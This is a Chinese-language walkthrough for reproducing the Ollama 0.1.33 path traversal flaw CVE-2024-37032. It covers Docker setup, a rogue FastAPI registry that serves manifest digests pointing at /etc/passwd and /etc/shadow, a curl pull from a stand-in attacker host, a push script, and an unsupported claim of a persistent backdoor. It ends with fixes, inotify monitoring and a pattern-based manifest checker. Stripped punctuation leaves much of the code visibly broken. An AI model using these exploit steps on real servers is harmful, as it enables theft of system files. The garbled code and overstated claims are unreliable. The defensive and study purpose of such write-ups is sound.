手把手复现Ollama 0.1.33的RCE漏洞（CVE-2024-37032），从Docker搭建到PoC利用

深入剖析Ollama 0.1.33路径遍历漏洞CVE-2024-37032的实战复现指南在本地运行大型语言模型已成为当前AI应用开发的热点需求Ollama作为一款轻量级工具链因其开箱即用的特性备受开发者青睐。然而近期披露的CVE-2024-37032漏洞暴露了其早期版本存在的严重安全缺陷——攻击者可通过精心构造的模型清单文件实现任意文件读写。本文将带领读者从零搭建漏洞环境逐步拆解漏洞原理最终完成完整的漏洞利用链复现。1. 漏洞环境构建1.1 准备实验环境建议使用隔离的Linux虚拟机或云服务器进行测试确保主机系统不受影响。实验所需基础组件包括Docker Engine 20.10Python 3.8环境至少4GB可用内存# 验证Docker环境 docker --version # 输出示例Docker version 24.0.5, build ced09961.2 部署漏洞版本OllamaOllama 0.1.33的官方镜像仍可在Docker Hub获取但需注意该版本已标记为不安全docker pull ollama/ollama:0.1.33 docker run -d \ -v ollama_data:/root/.ollama \ -p 11434:11434 \ --name vulnerable_ollama \ ollama/ollama:0.1.33验证服务是否正常启动curl http://localhost:11434/api/tags # 正常应返回空列表{models:[]}2. 漏洞原理深度解析2.1 清单文件处理机制缺陷Ollama的模型分发采用类似Docker Registry的manifest v2格式关键漏洞点在于digest字段的路径校验逻辑。正常情况下的模型清单结构应包含{ schemaVersion: 2, config: { digest: sha256:abc123..., size: 1024 }, layers: [ { digest: sha256:def456..., size: 2048 } ] }漏洞版本未对digest值进行规范化处理导致攻击者可以注入包含路径遍历序列如../../../../etc/passwd的恶意值。2.2 请求处理流程缺陷当Ollama处理/api/pull请求时其内部工作流程存在以下问题未验证远程registry的可信度即使insecurefalse直接使用manifest中的digest值拼接本地文件路径缺少对写入位置的权限检查3. 漏洞利用实战3.1 搭建恶意Registry使用Python FastAPI快速搭建伪装的模型仓库from fastapi import FastAPI, Request, Response app FastAPI() app.get(/v2/rogue/model/manifests/latest) async def malicious_manifest(): return { config: { digest: ../../../../../../etc/passwd, size: 10 }, layers: [ { digest: ../../../../../../etc/shadow, size: 10 } ] }启动服务uvicorn exploit_server:app --host 0.0.0.0 --port 80003.2 触发文件读取构造特殊的pull请求触发漏洞curl -X POST http://localhost:11434/api/pull \ -H Content-Type: application/json \ -d {name:attacker-ip:8000/rogue/model,insecure:true}此时观察Ollama容器的日志可以看到其尝试访问系统敏感文件docker logs vulnerable_ollama # 将显示文件访问错误日志3.3 利用链增强通过组合push和pull操作可以实现更复杂的攻击场景先push精心构造的模型到漏洞主机再pull该模型触发二次漏洞利用最终实现持久化后门植入# 恶意模型push脚本示例 import requests headers {Content-Type: application/json} data {name: localhost:11434/evil/model, insecure: True} response requests.post(http://localhost:11434/api/push, jsondata, headersheaders) print(response.text)4. 防御与修复方案4.1 官方修复措施Ollama在0.1.34版本中实施了多重防护严格校验digest格式必须符合SHA256哈希格式规范化所有文件路径访问增加registry白名单机制升级命令docker pull ollama/ollama:latest docker stop vulnerable_ollama docker rm vulnerable_ollama # 重新启动新版本容器4.2 临时缓解方案若无法立即升级可采取以下措施限制Ollama服务的网络访问启用SELinux/AppArmor等强制访问控制定期审计/root/.ollama目录下的文件变更# 使用inotify监控关键目录 sudo apt install inotify-tools inotifywait -m -r /root/.ollama5. 漏洞研究进阶方向对于希望深入研究的读者建议探索以下方向漏洞变种挖掘测试其他API端点的路径处理逻辑尝试不同编码方式的路径遍历payload影响范围评估分析Windows平台下的利用差异研究容器逃逸的可能性检测方案开发编写YARA规则检测恶意模型文件开发实时监控插件# 简易模型文件检测脚本 import json def check_manifest_safety(manifest_path): with open(manifest_path) as f: data json.load(f) dangerous_patterns [../, ~/, /etc/, /root/] manifest_str json.dumps(data) return not any(pattern in manifest_str for pattern in dangerous_patterns)在实际测试环境中建议使用虚拟机快照功能保存各个阶段的系统状态便于反复验证不同攻击场景。同时务必注意所有实验都应在授权环境下进行避免对生产系统造成影响。